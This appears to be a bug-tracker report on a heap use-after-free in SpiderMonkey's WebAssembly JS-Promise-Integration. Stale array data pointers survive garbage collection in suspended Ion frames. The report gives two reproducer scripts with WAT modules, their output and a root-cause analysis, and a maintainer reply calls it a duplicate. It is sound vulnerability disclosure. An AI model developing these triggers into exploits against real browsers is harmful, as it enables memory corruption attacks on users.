Heap UAF: WebAssembly JS-Promise-Integration suspended stacks have stale ArrayDataPointer after minor GC
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
People
(Reporter: zzjas98, Unassigned)
References
(Blocks 1 open bug)
Details
(4 keywords)
Steps to reproduce:
Run js --fuzzing-safe --wasm-compiler=ion --setpref=wasm_js_promise_integration=true poc.js with the following code:
const MAGIC = 0x12345678;
let suspendingFn = new WebAssembly.Suspending(async () => {
minorgc();
return 0;
});
let watCode = `(module
(type $arr (array i32))
(import "m" "suspend" (func $suspend (result i32)))
(global $before_val (export "before_val") (mut i32) (i32.const 0))
(global $after_val (export "after_val") (mut i32) (i32.const 0))
(func (export "test") (result i32)
(local $a (ref $arr))
;; Allocate nursery array: 8 elements, all 0x12345678
(local.set $a (array.new $arr (i32.const 0x12345678) (i32.const 8)))
;; Read element 1 (loads arr.data_ as ArrayDataPointer)
(global.set $before_val (array.get $arr (local.get $a) (i32.const 1)))
;; Suspend — minorgc() promotes array to tenured heap
(drop (call $suspend))
;; Read element 2 — GVN-CSE'd data pointer is stale, reads freed nursery
(global.set $after_val (array.get $arr (local.get $a) (i32.const 2)))
(i32.const 0)
)
)`;
let mod = new WebAssembly.Module(wasmTextToBinary(watCode));
let ins = new WebAssembly.Instance(mod, {m: {suspend: suspendingFn}});
let promisingTest = WebAssembly.promising(ins.exports.test);
promisingTest().then(() => {
let before = ins.exports.before_val.value;
let after = ins.exports.after_val.value;
print("before_val (pre-suspend): 0x" + (before >>> 0).toString(16));
print("after_val (post-resume): 0x" + (after >>> 0).toString(16));
print("expected: 0x" + MAGIC.toString(16));
});
Actual results:
before_val (pre-suspend): 0x12345678
after_val (post-resume): 0x2f2f2f2f
expected: 0x12345678
Expected results:
before_val (pre-suspend): 0x12345678
after_val (post-resume): 0x12345678
expected: 0x12345678
Removing --wasm-compiler=ion will give the expected results.
Analysis
When a wasm function is suspended via JSPI (WebAssembly.Suspending/WebAssembly.promising), its stack frames are removed from the JitActivation chain. If a minor GC occurs while the stack is suspended, UpdateJitActivationsForMinorGC does not visit the suspended frames, so updateFrameForMovingGC() is never called on them. Any WasmArrayDataPointer stack map entries in those frames become stale after the nursery array is promoted to the tenured heap, resulting in a heap use-after-free on resume.
This is made reachable by the fact that wasmCallAliasSet() explicitly excludes WasmArrayDataPointer from stores, allowing GVN/LICM to hoist data pointer loads across calls — relying on the invariant that "the GC will rewrite any array data pointers on move." For JSPI-suspended frames, this invariant is violated.
Notes
Tested on commit 8aceb3039998f478494621f36b1dc6c7d70ebf11
The wasm_js_promise_integration is still off by default now, so I believe it does not affect most normal user, but marking it as private just in case because it's a fairly easy heap UAF. Please feel free to unhide it if appropriate.
Please let me know if I can provide any more information, thanks!
Updated•8 months ago
|
| Reporter | ||
Comment 1•8 months ago
|
||
The same issue applies to UpdateJitActivationsForCompactingGC path as well:
let resolver;
let sf = new WebAssembly.Suspending(() => new Promise(r => { resolver = r; }));
let mod = new WebAssembly.Module(wasmTextToBinary(`(module
(type $arr (array (mut i32)))
(import "m" "suspend" (func $suspend))
(func (export "test") (result i32)
(local $a (ref null $arr))
(local.set $a (array.new_default $arr (i32.const 10)))
(array.set $arr (local.get $a) (i32.const 0) (i32.const 99))
(drop (array.get $arr (local.get $a) (i32.const 0)))
(call $suspend)
(array.get $arr (local.get $a) (i32.const 0))
)
)`));
let ins = new WebAssembly.Instance(mod, {m: {suspend: sf}});
let p = WebAssembly.promising(ins.exports.test);
gczeal(7, 1); // minor GC on every alloc -> array promoted to tenured while active
let result = p();
gczeal(0, 0);
gczeal(14, 1); // compacting GC moves tenured array, poisons old location
gc();
gczeal(0, 0);
resolver(); // resume: stale tenured data ptr -> reads poisoned memory
result.then(v => print("PASS: " + v), e => print("BUG: " + e));
drainJobQueue();
Gives: BUG: RuntimeError: dereferencing null pointer
Without ION: PASS: 99
Updated•8 months ago
|
Updated•8 months ago
|
Comment 2•8 months ago
|
||
Thanks for this report! This is duplicate of bug 2008358.
Updated•2 months ago
|
Description
•